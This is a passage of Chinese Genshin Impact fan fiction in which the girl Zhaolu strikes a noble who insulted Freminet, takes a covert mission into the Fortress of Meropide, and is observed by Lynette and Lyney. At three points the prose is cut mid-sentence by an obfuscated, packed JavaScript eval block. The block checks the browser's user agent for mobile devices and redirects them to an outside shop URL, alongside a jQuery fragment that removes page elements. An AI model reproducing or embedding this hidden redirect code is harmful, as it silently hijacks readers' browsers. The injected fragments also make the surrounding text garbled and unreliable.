来自别人、特别是陌生人的指责不能让你心生波澜,你甚至会感受到一点出乎意料的倒反天罡的情绪波动——你承认,你确实不会彻彻底底地加入愚人众,但现在,你还是壁炉之家的一份子?也就是说,面前的这个人在指责一个愚人众,哦不,是两个,伤害了他所谓的“贵族脸面”? 你以为自己没有率先找别人麻烦就不错了,在壁炉之家里你可是听说过有的愚人众走在路上都大摇大摆的,连一只狗路过都要踢两下那种。 真是……一场闹剧。还是快点结束吧。对滔滔不绝的话语左耳进右耳出的你出神地想,身子依旧站得笔直。 下一秒,你察觉到身后的菲米尼动作似乎瑟缩地躲了躲,而面前人一副倨傲的神情伸出手在空中比划着什么……嗯……刚才说的应该是“没教养的东西,就你们这样,你们的家长还是趁早把你们丢出去吧”? 刹那间,身体比意识反映得更快,你向前踏两步来到这位所谓“贵族”的面前,伸出腿绊了他一脚,在他因你的动作而重心不稳踉踉跄跄伏下身子的时候,你一边若无其事地想:嗯,这个高度刚刚好,一边握住拳头挥了出去。 破空声响起,面前人的脸庞重重地亲吻上了你的拳头,往后退了好几步。 “你——你……!”看上去脑子不是很灵光的男性贵族伸出手指着你,戴着戒指的手都在颤抖:“我要把你告上欧庇克莱歌剧院!我要你被关到梅洛彼得堡里!”对方恨恨地说,不知从哪里冒出来的两个人搀扶住了他。 - 你觉得自己或多或少还是有一点小巧思在身上的。 看,这下子菲米尼就不用跟他道歉了,嗯,只是改成了你可能要站到欧庇克莱歌剧院的被告席上。也还好?毕竟你还没去过欧庇克莱歌剧院,听说那里还挺漂亮的,会有很多人坐在观众席上,似乎琳妮特和林尼也曾在那里进行过魔术表演。就当是给自己丰富人生经历了。 你的目光掠过脸涨成猪肝色的男性贵族,偏过头向呆住的菲米尼点点头,眼睛里流露出的鼓励意味明显:要什么零件就抓紧时间挑好吧,等要去欧庇克莱歌剧院的时候你就不能陪他了。 不知道为什么,菲米尼和店老板的表情好像很复杂的样子,不过看他们有条不紊地交付摩拉和置换零件,应该没什么问题。于是,判断这边无需额外注意的你重新把注意力挪了回来,此时,两个察觉到这边有不同寻常的动静的警备队队员走了过来。 身穿蓝色制服、头上戴着蓝白色帽子的警备队队员来到这里,一脸严肃地问发生了什么事。 * 一直在挑衅他。男性贵族想要让自己冷静下来,却又在面前这个小女孩冷淡的视线中破防——她甚至不愿意跟他说哪怕一个字! 绝对,绝对要让她付出代价……!这是关乎尊严的问题。男性贵族唇线抿得直直的,心里暗暗地想,哪怕要找兄长求助也好,绝对要让这个小女孩知道惹了他是什么下场。 男性贵族觉得自己已经够好心的了。要知道,他们冒犯的可是一位贵族!可他却如此宽宏大量地只要求他们道歉和对这件事负责,连他都被自己的善良感动了,却没想到,他们竟辜负了他的一番好意。思及此,男性贵族觉得自己被绊过的腿和被打过的脸又隐隐作痛。 抬了抬下巴,男性贵族示意自己的仆从去跟警备队队员沟通,总之,无论用什么办法,把这个小女孩弄进梅洛彼得堡里,让她吃点苦头。 对于主子的意思,仆从心领神会地点点头,又在男性贵族的一个抬手间安排了人护送对方回去。他知道的,这位贵族大人现在已经不想留在这里了。既然如此,他们也可以把事情处理好的。 男性贵族临走前,回过头居高临下地瞥视了那个一头红发的打人打得很疼的小女孩一眼,呵,一个丑丫头,身上穿的衣服也丑不拉几的,希望她能在梅洛彼得堡里学点规矩,起码要知道不是什么人都能打的。 特别是他这种贵族。 - “你认同对方说的是事实吗?”听完在男性贵族被打后忽然冒出来的两个人的说辞,一个警备队队员蹲下身子问你。 还行,有艺术加工的成分,但不至于过分扭曲事实。你不可置否地点头。虽然春秋笔法地夸大了你那一拳的威力,又详略得当地带过了那个男性贵族所说的话,将之概括为没有恶意的建议和好心,起码主体还是在你身上,菲米尼和那些伤人的话一样都被一笔带过。 平心而论,你不是不知道就算把那个男性贵族的话复述了出来,率先动手的你也是责任更重的那个。不是想不出别人会怎么说,大概就是“哎呀,他不就是说了几句嘛,你怎么能动手呢”、“一个女孩子家家,居然做出这种事,太不淑女了”、“小孩子一个,做出这种事情肯定是有人在背后指使”的从各打五十大板到盯着你的个体评头论足再到阴谋论之类的。 无所谓。就算所有人都说你做得不对,说你做得太过了,你也不会真的认为这就是你的错。语言是有重量的,尽管你来说这种话可能有点荒谬,你确实相信语言的力量。言语和记忆一样,情感都会附着在它们上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16395461|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只是一句看似轻飘飘的话,同样可以在别人的世界里划开巨大的伤痕。 起码,你能感受到,菲米尼确实会因为那些话语难过。不一定要到痛彻心扉的地步才可以,为此心情指数下滑就已经足够你这样做了。嗯……没必要这样?你动手也不见得菲米尼就会因此开心?没关系,只是你想这样做,并且认为自己能够支付与之等价的代价,无需在意。 一百个一千个一万个人说不至于、说人的心情本来就起起落落的都无所谓,一个孩子的心情在这些事情中微乎其微,谁都能说退一步海阔天空,谁都能说他自己会想开的,但你会在乎。 做得很过分吗?刚刚好吧,只是打了一拳而已,与那些话语的伤人程度恰好相配。如果选择退让,就要做好一直退让的准备,别人不会认为这是你的好意或是善良,不会像绘本里说的那样因为一个举动而被感化,更合理的是得寸进尺,乃至于吞噬殆尽。 ‘为什么这次不能退让?可是你上次就对他让步了,是看不起我吗?’、‘都让了这么多,再让我一点又能怎样。’、‘把这些都给我吧,我会感谢你的,你想要的不就是这个吗。’……各种各样的声音交错重叠,你从书本中解读出的,你在街边见到的。 很遗憾,言语的强大力量只能对可以把话语听进去的人发挥作用。有的时候再怎么三令五申、郑重声明都阻止不了对方的恶行,那你就应该明白,不是你的表达有问题,不是你不够可怜,而是你要做的事让他知道这么做的下场。 只有越界的爪子知道痛了,它才开始学会缩回去。 初代水神厄歌莉娅、最高审判官那维莱特、枫丹延续了不知道多久的贵族、二代水神芙卡洛斯、被最高审判官带到枫丹廷的美露莘,读着报纸的枫丹人。一场又一场话剧上演,幕布不知何时红得发黑。 你足够清醒,足够在离开那里后上演的话剧中沉沦。你知道,有的时候一滴血的重量足以胜过千万张报纸。 * “那么,请留下您的地址,等待欧庇克莱歌剧院的传唤。”表情严肃的警备队队员这样对你说,再三确认你已经知情并接受这个安排才离去。 你垂下眼眸,手中不知何时多了一张纸条,[进入梅洛彼得堡,接近公爵大人。]你的指腹摸索过看起来没有半点一样的白纸,无声地读出了这样的内容。 现成的途径啊,进入梅洛彼得堡。你眨眨眼睛,这对你来说,几乎就是“只需等待”的事情。捏住纸条,手指与掌心摩挲,腰上佩戴的玉佩微微发亮,很快纸条消失不见,只留下一堆细碎的粉末。 你转过头准备回布法蒂公馆,绑着蝴蝶结的发尾在空中划出小小的弧度,却发现菲米尼没有跟上来。偏过头,你的目光停留在菲米尼的脸上,“……啊,我就来。”说着,菲米尼拿好零件,走到你的身边。 依然是不怎么爱说话的菲米尼,依然是熟悉的路线。你有些疑惑地皱了皱眉,之前的菲米尼,也是这幅眼睛似明似暗的跟个接触不良的灯泡差不多的模样吗? 52.枫丹篇-21 啊,这是怎样的一种感觉?菲米尼不知道要用什么词汇才能准确地描述出此时在他心里涌动的那种感情。 其实本来没什么的。只是遇到一个贵族而已,只是因为在和店主交流的过程中没有注意给这个贵族让路而已,只是被要求道歉和……下跪而已。不好意思,这么说不是意味着他会照做,壁炉之家的人也不是谁都可以折辱——并且在折辱之后还能不付出代价的。菲米尼近乎冰冷地在心里这样想。 虽然这种事情并不罕见。幼童、少年,骨骼还没发育完全的未成年似乎总会让别人觉得很好欺负,连反抗都缺乏足够的力气。用手遮住小孩子看向外界的目光、把还没有来得及形成正确三观的他们变作手中的提线木偶,把他们变作待价而沽的商品、当成供人取乐的玩物,怎样都好。 就像那位梅洛彼得堡的掌权人,获得荣誉称号的“公爵大人”,一开始不也是个要被卖掉的孩子吗。这件事菲米尼是知道的,一对善心的夫妻,收养了许多失去父母的孩子,给他们佳肴,给他们华服,教导他们某些知识,再把他们卖掉。卖不掉的孩子怎么办?会被处理掉的。 如同一条流水线,投入资源,接着源源不断地产出各种供人挑选的商品。菲米尼无意评价他人的命运,不如说这种事情只会让他更想待在无人知晓的海底。那对夫妻的下场是,还是个少年的莱欧斯利亲手杀死了他们。发现自己兄弟姐妹总会一个接一个消失的少年,选择了反抗这样的命运。 然后,莱欧斯利就因为杀死了这对领养孩子、把孩子养大了又卖出去的夫妻,被宣告有罪,被判去流放到海下的梅洛彼得堡里当囚犯。再然后……就是公爵大人如何从一个犯人奋斗到荣获“公爵”的荣誉称号的励志故事了。 看,卖了那么久的孩子,没有人来为那些孩子伸张所谓的“正义”,但当那对夫妻死掉的时候,“正义”一下子就来了。 不是每个孩子都是莱欧斯利的,有更多的人、更多更多的人,成为了无名的注脚、一个不起眼的牺牲品,碎了也无人在意。 至少,壁炉之家里的孩子死了会有人知道;至少,他们均已兄弟姐妹相称,他们不是孤身一人;至少,父亲大人会希望他们活着,必要的时候为了活下来而出卖情报也无所谓,用父亲大人的原话来说这是“只有活着才能带来价值。” 但这又是不一样的,朝露的这种流露在行动上的维护和[家人]之间的团结。菲米尼可以肯定,这两者是不一样的。区别在哪里? 少年回想着红发女孩挡在身前挺直的脊背——明明自己还小小的一个,却要把比她更高更大的他护在后面;回想着女孩之所以忽然出拳是因为察觉到了他的情绪变动——朝露是这样的,对于她上心的存在,她总是足够敏锐;回想着女孩在警备队队员说让她做好被传唤的准备之后的眼神——一如既往的坦然。 就好像这件事无需在意一般。菲米尼知道,朝露大概真的不认为自己做了什么特别的事,菲米尼同样知道,朝露不会因此而向他索取什么,连“看!我维护了你哦,是不是做得很好?”后的一个回应、“我是不是搞砸了,你会生气吗。”这样迷茫后的一个安慰,她都不会需要。 如同他在海下看到的那些幽蓝的海露花,菲米尼不期然地想,时候到了,就开了。[想这么做,就做了。]去问朝露,大概也只会得到这样的回应吧。 好复杂的感觉。菲米尼抬起带着手套的手隔着衣服按了按自己的胸膛,似乎这样就能让胸腔里那颗跳动不已的心脏跳得慢一点。唇角不自觉地上扬,他想,他好像快要找到那个问题的答案了。菲米尼的直觉告诉他,很快,他就会明白自己对你是什么感觉了。 困惑了很久的谜题就要揭开它的面纱。它可能会改变什么,它势必会改变什么,比如菲米尼之后要如何看待朝露。 脑海里各种思绪交杂,仿佛被蓬松的棉花糖包裹,又似乎在天空中翱翔、在无人的海底漫游,菲米尼一时没有意识到朝露已经准备回去并迈开了步伐,直到那一道熟悉的视线落到他的身上。 视线是有重量的,菲米尼发自内心地想,迎着似乎写了[?还不走吗。]字样的困惑眼神,菲米尼极浅地弯了弯唇,几乎让人无法发现,他应声:“唔,我就来。”说着,提着手上的机关零件走在朝露的旁边。 菲米尼不记得自己以前和朝露并排的时候有没有注意他们之间的身位差,只是这一次他确实有留意,刻意地让自己落后朝露半个脚掌的距离,余光瞥向安静注视前路的红发女孩。 抱歉,朝露,菲米尼有些抱歉地在心里想,那个问题现在还不能让你知道,但是,快了。等他找到答案的那一天,他会把问题连同答案一并告诉你的。到那天,或许就会迎来他们之间的[终局]。 菲米尼开始期待那一天的到来了。隐隐约约地,他意识到,自己会喜欢那个答案的。大概,朝露也会喜欢的吧。这么想着,菲米尼无声地在心里默念朝露的名字,是个很好听的名字呢。 余光里,朝露的步伐在某一刻顿了顿,接着又继续迈开,步伐依然轻盈而坚定,脚心接触地面、脚后跟发力地循环,似乎没什么变化。菲米尼却弯了弯眼眸,呀,发现了啊,自己在看她的这件事。 发现了却没有制止……这算是纵容吗。 - 你感觉好像不太对劲。一时半会儿说不出来,但就是感觉有哪里不对劲,仿佛自己被什么盯上了似的,就像有黏糊糊的东西从海底爬了出来缠住你的脚一样的感觉。 眨了眨眼睛,你尝试复盘自己这还没结束的一天,想要从里面找出什么异样:起床、洗澡、吃早饭、帮忙干活、和菲米尼一起外出、吃肉酱千层饼、去买零件、打人、接到等候欧庇克莱歌剧院传唤的通知、收到新的进入梅洛彼得堡的任务、回布法蒂公馆。 基本上除了打人和等通知以外,其他的都很日常。 那么,是那个男性贵族派人躲在暗处盯着你想要套你麻袋敲你闷棍?可能性不为零,但发生的概率很低。你不是金鱼,记忆力没那么差,还记得警备队队员来了之后那个男性贵族得意洋洋的眼神。 对有的人来说,面子可以比人命重要。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16415301|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你知道自己的命对枫丹贵族来说不值一提,比起直接把你干掉这种不够痛快的做法,他们会更喜欢把你推上舞台,让所有人见证冒犯他们的下场。让人恐惧、让人心动、让人趋之若鹜,这才是他们想要的。 简单来说,要的不只是“杀鸡”,还有“儆猴”。你无意干涉他人的想法,但你确实认为他们这种做法……很低效。不过无所谓,你现在要做的只是借助这样的便利,让自己混进梅洛彼得堡,去完成一个交到手上的任务而已。 把男性贵族也排除了的话,会是刚刚路过的人里有什么逃犯吗,盯上了你和菲米尼之类的?小概率事件,但确实有可能发生。你闭了闭眼,决定如果回去的路上没有动静,你就不继续思考这方面的事情了。千日防贼好累的,还不如千日做贼呢,起码不用每时每刻都警惕四周。 你考虑了之前被打的男性贵族、考虑了路过的人群,甚至连会不会有人藏在高处瞄着你们丢石子都考虑了,就是没有怀疑走在你身边的那个淡金发少年。 诚然,你确实察觉到了菲米尼瞥向你的余光,不过那也只是因为你是他的同行之人吧?一起逛街总是很难避免把视线躲在对方身上的,你观察过其他结伴同行的人,也有之前一起出行的记录为佐证。 最主要的是,如果真的是菲米尼……?你想不通他的动机。绝大多数的纠纷来源于利益分配,又裹挟由此滋生出的各种情感,牵动着恶性事件的发生。歹徒可以因为分赃不均而厮杀,夫妻可以因为感情破裂而举刀相向,大多数都是“想要”而没有被“满足”导致的,刨除掉一部分的例外,比如从他人的苦难中汲取快感的家伙,又比如你之前遇到的[博士]。 你现在是壁炉之家的一份子,就算你最后会离开,但你目前依然是雪奈茨维奇和雪奈茨维娜的[家人],是菲米尼的[家人]。而如果菲米尼想要什么,他完全可以对你开口。 …… 你和菲米尼一路顺遂地回到了布法蒂公馆,菲米尼把已经冷了的泡泡舒芙蕾放在桌面上,接着便回了房间处理他带回来的零件。 你把泡泡舒芙蕾重新加热、摆放,泡泡舒芙蕾散发出香甜的气息,吸引来了许多小孩子。 “哇!朝露姐姐,这是你带回来的吗?好香啊!”一个小孩子凑过来问道。你记得她,是刚来壁炉之家没多久的失去了父母的孩子。 伸出手摸了摸小女孩细软的头发,你拿出写字板[不是我,是菲米尼带回来的。可以吃,你们拿去分了吧。]看到你的回复,小女孩发出一声欢呼,她身边的孩子也雀跃起来。 都还是孩子呢,你的目光扫过他们不算圆润的脸,希望他们能活到长大的那天。不过那天到来的时候,你估计也已经离开壁炉之家很久了。 还是先回房间吧,你正要转身离开,之前的那个小女孩却又凑了过来,你抬起眼眸,她一脸认真地在把一个泡泡舒芙蕾塞到你的手里,对上你的视线也只会露出傻乎乎的笑容:“泡泡舒芙蕾很好吃的!我观察过了,这个是所有的泡泡舒芙蕾里面最好看的哦!”一副煞有其事的模样。 53.枫丹篇-22 你对甜食没有偏好,但也不是说完全不能吃。与其说什么偏好……倒不如说没有什么能吃的东西会是你真正讨厌的。 再怎么漂亮的食物嚼碎了都好看不到哪里去,再怎么难以下咽的食物进了肚子里也同样会提供能量。你充其量不过是觉得枫丹的甜点有些太甜了,属于可以选择的一般情况下都不会纳入你的考虑范围内,又不是真的意味着你不能吃。 辜负小孩子的一颗真心据说是会被雷劈的,你从善如流地接过了小女孩手中的那个泡泡舒芙蕾,经过你的加热,它在抵达你手上的时候还带着点点余温。你把它送到嘴边,轻轻咬下一口,看到小女孩随着你的动作脸上绽开笑容。 一只手拿着松软的泡泡舒芙蕾,另一只手伸出去再次摸了摸小女孩的脑袋,你转过身,带着那个还没吃完的小糕点回了房间,把孩子们的喧闹都关在了门外。 - [进入梅洛彼得堡,接近公爵大人。]这是你新的任务。 房间里,你三两下解决了那个被你带进来的甜点,坐在椅子上开始思考关于新任务更多的细节。 梅洛彼得堡,你曾在资料上看到过关于这个地方的资料。相传在很早很早、早到你们人尽皆知的水神芙卡洛斯还不是水神的时候,这个地方就已经存在了。 那时的初代水神怜爱众生,即便子民犯了过错也不忍降下惩罚,纵使犯下再大的过错,最多也只会流放而不是宣判死刑。有的罪犯感念于初代水神厄歌莉娅的仁慈,问她有什么是他们能做的吗,接着便形成了最初的梅洛彼得堡。 据说,对于那位初代水神而言,对于魔神而言,爱人是祂们的本能。对此,你不可置否。毕竟,要讨论这个问题未免有些太复杂了。 首先,要明确“爱”是什么,怎样的行为才能算是“爱”;其次,已知人与人之间的差异有时比人和狗之间的差异来得都大,想要把“爱人”、“本能”这样通过人为样本收集到的数据套到魔神身上,需要经过哪些改造才能适应;最后,“爱”也会有分喜爱、深爱、更爱、最爱。 讨论这样的问题,能得到怎样的结果?魔神与魔神之间也有很大的差异。类似爱不爱、本能不本能的问题,对你要解决的问题并无帮助。 对于这些繁琐的千人千面的理论,你只要知道梅洛彼得堡是怎么来的、有个大概的印象就可以,别的都不重要。 不出意外,再过几日你就要登上欧庇克莱歌剧院,接着顺水推舟地去到梅洛彼得堡。你支着脸颊漫不经心地想,希望不会有什么变动……否则,跑去海岸边捡几个幽光星星大概也能达到让你进入梅洛彼得堡的目的。 是这样的,结果才是最重要的,过程只是通向结果的一种手段,只要损耗还在预期内,便无需在意。 至于那位公爵大人,你倒是知道的不多,关于他的信息也就只有梅洛彼得堡的管理者兼最高负责人、荣获枫丹最高荣誉市民称号这点内容,其他的倒是不怎么多,大概是因为对方总是待在梅洛彼得堡里、待在海下,相对不流通的环境使得他的信息很难流传出来。 嗯,你一边这样思考,一边把脑海里冒出的枫丹小报上提及的“公爵大人荣获‘枫丹少女最想嫁的人’榜第一名!”这种让人看了就感觉十分莫名的东西忽略。先不说这个的样本量是多少,单就是,这可是枫丹小报,朋友。 在枫丹小报上,你甚至能看到美露莘是枫丹最高审判官、也就是那维莱特大人怀胎十月生下来的这种消息。 ……出乎意料地,枫丹小报的销量还挺高的。 你在房间里百无聊赖地垂着眼眸,脑海里预演着接下来会发生的事情,忽然听见了敲门声。“笃——笃——”没带催促意味的沉闷声音响起,似乎能透过敲门声看到有人正站在门外耐心地等待你去迎接。 - 琳妮特觉得自己有点弄不清自己的想法了。 她是喜欢朝露的,这一点琳妮特确信无疑,即便是现在回想起初遇的那个场景,味蕾还是会传来那个你留下的泡泡桔的香甜记忆,她还是会忍不住想要微笑。 可为什么,在知道朝露要加入壁炉之家之后,她却没有预想中的那么高兴呢。琳妮特抿着嘴角,胸腔里的心脏像是不知道它的主人正在苦恼一样,依然有力地跳动着。是因为清楚朝露之后还是要离开的吗,好像不只是这样。 琳妮特好难过,但她却不知道自己为什么难过。或许她唯一清楚的是这种情绪与那个红发的女孩有关,和那个会用一双漆黑的眼睛坦然的冷淡的疏离的看着她的女孩有关。真是奇怪,明明以前还觉得朝露这样的眼神很正常的,现在却隐隐有些较劲起来。 今天,朝露也要和菲米尼一起出去吗。无人在意的角落里,琳妮特一言不发地注视着脸上没什么表情的红发女孩走到菲米尼旁边。 大概是因为壁炉之家的伙食能保证营养,朝露的红发似乎更加鲜艳了,因此,也就把发尾的那个酒红色蝴蝶结衬托得愈发显眼,以至于到了近乎刺眼的地步。 黑暗里的紫色眼睛静静地盯着那个红发女孩的背影,为什么不来找她呢,难道只有菲米尼可以和朝露一起出去,她就不可以吗?有的时候,琳妮特被情绪冲昏了头脑想要这样问朝露,却又每一次都在朝露那双坦然的黑眸中败退——她想要怎样的答案?琳妮特不由这样问自己,朝露从来没有掩饰过她的态度。 如果,琳妮特是说如果,如果她也和朝露经常一起出去,那么这个对她来说十分特别的女孩愿不愿意多看她一眼?琳妮特尝试过,壁炉之家有采买物资的任务,琳妮特尝试过每一次都和朝露一起外出购买物资。但是,无济于事。 那双漆黑的眼睛里依然映不出一个猫耳少女的身影。 朝露完全把这些外出当成了任务,至于另一个人是谁,是琳妮特还是壁炉之家里的谁?朝露通通不在意。 在琳妮特乃至其他人的面前,朝露都会带上她的面具,就算不能说话,她的眼神、她的肢体语言无一不表露着“请别靠近我” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16433524|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、“不要对我抱有过多的期待”。 在朝露的世界里,似乎只有菲米尼是特别的那个。 倘若朝露没有加入壁炉之家,也许琳妮特还能安慰自己,说都是没有接触过才会这样,毕竟一个人生活的小孩子当然不会随便交付自己的信任,她可以安慰自己她和朝露之间只是需要时间和更多的接触。而现在,血淋淋的现实就这样袒露在琳妮特的面前。 无论自己怎么做,朝露都不会回馈给自己想要的情感的。说不定还会觉得自己越界了自动拉开距离。作为魔术中的影子,作为林尼运用言语、肢体动作去吸引众人目光时暗处的助手,琳妮特对于朝露在这方面的判断很难出错。 朝露这样的孩子,估计在谈判的时候也会是直接了当的吧。想到这里,琳妮特有些无奈地弯了弯嘴角,如果朝露不需要的话,她会把自己的这些想法处理好的。 琳妮特知道,这不是朝露的错。朝露只是还没来得及建立和外界的桥梁,而唯一能够淌水而去的人只有菲米尼。朝露是如她的红发一般明艳的孩子,琳妮特执拗地这样想,即便她自己心里明白如果她说因为朝露经常和菲米尼一起去玩,所以她想要朝露多陪陪她类似这样的话语,朝露不会拒绝。 只是这是不一样的。琳妮特对此很清楚,朝露会这样做只是因为“应该”,而不是“想要”。 ……据说,有的孩子和世界隔着距离,父母向孩子招手、跟孩子说话也不会得到回应。不是耳朵听不到,不是嘴巴说不了话,只是单纯地不认为这种情况需要回应:故事书里的小人在招手,难道自己也要朝故事小人招手吗。 琳妮特发现了朝露的秘密。 那是一个普通的夜晚,琳妮特路过朝露的房间,灵敏的耳朵听到了里面痛苦的喘息。说实话,那动静确实很轻微,饶是琳妮特都差点怀疑是不是自己听错了。[请原谅我,朝露,我只是害怕你又自己发了烧生了病却只能自己忍受。]这样想的琳妮特推开了朝露的房门。 于是,一片漆黑里,那双紫色眼睛的主人静静地看着床上的小女孩额上布满冷汗、喉咙发出无声的呜咽,那头漂亮的红发凌乱地散落在身下,像是与黑暗融为一体。 痛苦的孩子把自己一分为二,丢失了爱人的能力、丢失了自己的渴望,怎样都好,她在命运的河流里挣扎着活到了现在,而一位淡金发少年奇迹般地来到她的面前。 琳妮特永远不会指责朝露,即便她确实想要向朝露大声控诉朝露的偏心。 ……可是,琳妮特看着朝露那双漆黑的眼睛渐渐地被点亮了。就算还没有像其他的孩子那般,但琳妮特似乎能看到朝露在懵懵懂懂地向世界探出她的指尖。 这样就够了,最终,琳妮特压下了她自己所有的心绪,只剩下对朝露的祝愿。 琳妮特抬起手摸了摸自己眼睛下的那个星星图案,心想,星星是会发光的,所以没关系。哪怕隔着遥远的距离,哪怕朝露不会回应,星星的光芒也会照耀在这个红发女孩身上的。 54.枫丹篇-23 你打开门,映入眼帘的是身着黑蓝色衣裙的琳妮特,烟灰色的猫尾在空中悠扬地打了个旋儿。 “我想,你大概需要来一点下午茶?”脸上一如既往没什么表情的少女手上端着一个大盘子,盘子上有酥酥羊角包、德波小蛋糕等,甚至还有两瓶牛奶。 你和琳妮特的视线交汇,半晌,你拉开了自己的房门,朝着那位端着大盘子仍能走得步履生风的猫耳少女做了个[请进]的手势。 坦白来说,你不认为琳妮特会无缘无故来找你。“下午茶”大概也只是个甜蜜的幌子。即便加入壁炉之家的时间不是很长,对于那位神秘莫测的也许你现在该称呼她为“父亲大人”的阿蕾奇诺女士的继任者,你还是知道的。 是林尼。琳妮特的哥哥。 或许,是来传达什么新的任务或者要求的?你眨了眨眼睛,粗略地给琳妮特这次的到来动机进行规划,空气中弥漫着食物的芳香。 好在你的房间里不止一把椅子,你坐到自己的椅子上,微抬起下巴注视着琳妮特把盘子放到你的桌上,几乎没有发出声响。 ……感觉这个酥酥羊角包,很好吃的样子。 你的鼻子敏锐地从蛋糕的甜香中分辨出羊角包的味道,只是闻着就能想象两头尖的面团如何在烤制的过程中膨大、刷在面团顶上的黄油又是怎样在温度升高的过程中迸发出浓香。 “吃吧。这次下午茶的原料都很不错。”坐到你面前的琳妮特看着你,轻声地说。 你刚拿起羊角包,“梅洛彼得堡的掌管人,那位‘公爵’大人的名字是莱欧斯利。我和林尼曾经因为任务和他有过接触。”还没来得及张口咬下去,琳妮特的声音再度响起,平淡没有波澜地讲述着他们那次任务所接触到的莱欧斯利。 原来是来提供必要信息的。你的眼睫颤了颤,下一秒就着琳妮特讲解的背景音狠狠地咬了一口羊角包,酥酥的一层层的表皮在你的牙齿咬合间迸开。 - 其实没什么好说的,琳妮特这样想,目光隐蔽地描摹朝露的脸庞,似乎带着眷恋地看着红发女孩的腮帮子因为进食而一鼓一缩。 不过是因为她自己的私心,想要多看朝露一会儿而已,就算已经决定不再渴望得到朝露的回应,还是会希望能看到这个有着一头在初见时就惊艳了她的红发的女孩能够活得很好,活得自由自在,活成朝露自己想要成为的模样。 剥去得不到回应的疑惑,剥去不被接纳的酸涩,琳妮特的本心只是希望朝露能够幸福。 幸福,好轻飘飘又好沉重的两个字。比起尚且年幼的朝露,和林尼一起走过很多地方、潜伏任务完成得很好的琳妮特更清楚个体的阴暗。就算是壁炉之家,内部也从不缺少分歧。 例如面对发起袭击的任务,因为任务成功就意味着会有很多小孩因此沦为孤儿,有的人会犹豫和不忍,有的人会觉得这没什么,不如说这反而更好了——这样一来,壁炉之家就会有更多的新鲜血液了不是吗。 男孩子被冠以“雪奈茨维奇”的姓氏,女孩子被冠以“雪奈茨芙娜”的姓氏,看似略有不同,实际上都是“孤儿”的意思。有的人已经习惯了把自己当做工具完成任务、习惯了任务才是第一位的;有的人却会因此痛苦,思考自己是不是也是因为这样的原因失去父母的?因为他们想要更多的“新鲜血液”。 琳妮特希望朝露能得到个体的幸福,希望轻松的明媚的没有阴霾的笑容同样能够绽放在朝露的脸上,如同她的红发一样跳动着不熄地燃烧。 “……在梅洛彼得堡,有一位长着人脸的美露莘,担任着‘护士长’的职位,你看到了应该能认出来。在里面会有一天一顿免费的福利餐,如工作时间久了,会吃到很难吃的福利餐……”脑海里想着很多东西并不耽误琳妮特把自己对那个地方的印象一一诉说。 * 琳妮特,好像有点奇怪。 你一边嘴里咀嚼着羊角包,一边听着琳妮特口中的情报,还有多余的心思分出来想这个事情。 虽然你认为自己没什么特别的,你也不觉得自己对谁会无可替代,但你确实感受到了这位自你跟着菲米尼来到壁炉之家后重新遇到的猫耳少女对你态度的异常之处。 她好像想要从你身上得到什么,你不知道那究竟是什么,可你知道那是你没有的东西。 那双紫色眼睛看着你的时候会带有某种期待。——在期待什么?你想这么问,你没有问出口。肩负别人的期待是很麻烦的事情,你很清楚这一点。有的期待是一环套一环永不止息的,没有尽头。 你讨厌别人无缘无故就对你抱有期待,或许只是因为你觉得期待是太过沉重的东西。总之,你不喜欢。在期待什么?想要得到什么?你读不出来。就像一份放到你面前的打着“免费”标签的精美礼物,鼓动着你去打开。 可是,免费的才是最贵的。特别是牵涉到情感的时候,你的天平面对这种问题也会感到为难的。这么说也许不识好歹,你感谢琳妮特在你刚来到这里的时候给你提供了衣服和食物等,感谢她向你释放的善意,但你希望她能把过多的期待收回去。 想要让你去做任务、让你去研究什么器械都可以,不要用这种“这么做你会开心吗?”的眼神看着你,你自己都不知道这个问题的答案,给不出准确的回答。 ——开心吗?也许吧。难过吗?也许吧。 好没有说服力的回答,好敷衍。 现在,你所烦恼的问题似乎消失了,琳妮特回退到了安全的警戒线里。 这样也很好,你想,这样一来,倘若那天你不小心死掉了,也不会有人太难过。不,这话的意思不是你会做出什么出格的事情,你当然会好好活着,努力地活下去,活得比谁都好。只是,当既定的死亡敲响你的门,你大概会给它开门,说不定那时候的你忽然就想这么做了呢,你不喜欢做无法实现的保证。 - 哎呀,琳妮特和菲米尼都有自己的小秘密了呢。浅灰发色七三分刘海的少年感叹,一只黑猫蹭了蹭他的小腿,被他抱起来点了点鼻头:“罗瑟兰,你对朝露是怎么看的呢。” 虽然不常与那位红发黑眼的女孩见面,林尼对她却并不陌生。是被菲米尼从海里救回来的人,是琳妮特喜爱的人,是之后加入了壁炉之家的人……很多个定 